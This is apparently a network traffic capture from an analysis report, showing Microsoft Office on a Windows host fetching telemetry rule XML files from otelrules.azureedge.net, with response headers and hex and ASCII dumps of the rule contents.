2024-11-21 21:34:49 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:49 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:49 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213449Z-178bfbc474bw8bwphC1NYC38b400000001z0000000001atx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:49 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:49 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:50 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:49 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: cb4d723f-a01e-003d-7157-3c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213449Z-15b8b599d885ffrhhC1TEBtuv000000000g000000000b3qy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:50 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:50 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:50 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:50 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213450Z-174c587ffdf8lw6dhC1TEBkgs800000000cg000000000wcy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:50 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:50 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:50 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:50 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 7bd1ae59-401e-008c-598c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213450Z-178bfbc474bbcwv4hC1NYCypys00000001w000000000n9ky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:50 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:50 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:51 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:51 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 84d260c2-101e-0017-627f-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213451Z-1777c6cb754lv4cqhC1TEB13us0000000bgg0000000139e1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:51 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:51 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:51 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:51 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 1a99a412-f01e-0099-613c-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213451Z-174c587ffdf8lw6dhC1TEBkgs800000000c0000000001457 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:51 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:51 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:52 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:52 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213452Z-174c587ffdf8lw6dhC1TEBkgs800000000d00000000018n4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:52 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:52 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:52 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:52 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: cb244ee5-a01e-003d-2a49-3c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213452Z-15b8b599d88tr2flhC1TEB5gk400000000p000000000b5fx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:52 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:52 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:53 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:52 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 0b679675-f01e-005d-336b-3b13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213452Z-178bfbc474btrnf9hC1NYCb80g0000000290000000001zaf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:53 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:53 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:53 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:53 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 270c2d5d-601e-00ab-2f8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213453Z-1777c6cb754vxwc9hC1TEBykgw0000000br0000000006bmb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:53 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:53 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:54 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:54 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213454Z-174c587ffdfx984chC1TEB676g00000000fg0000000022tu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:54 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:54 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:54 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:54 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 4c6a8f70-a01e-000d-057c-3bd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213454Z-1777c6cb754lv4cqhC1TEB13us0000000bh0000000012555 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
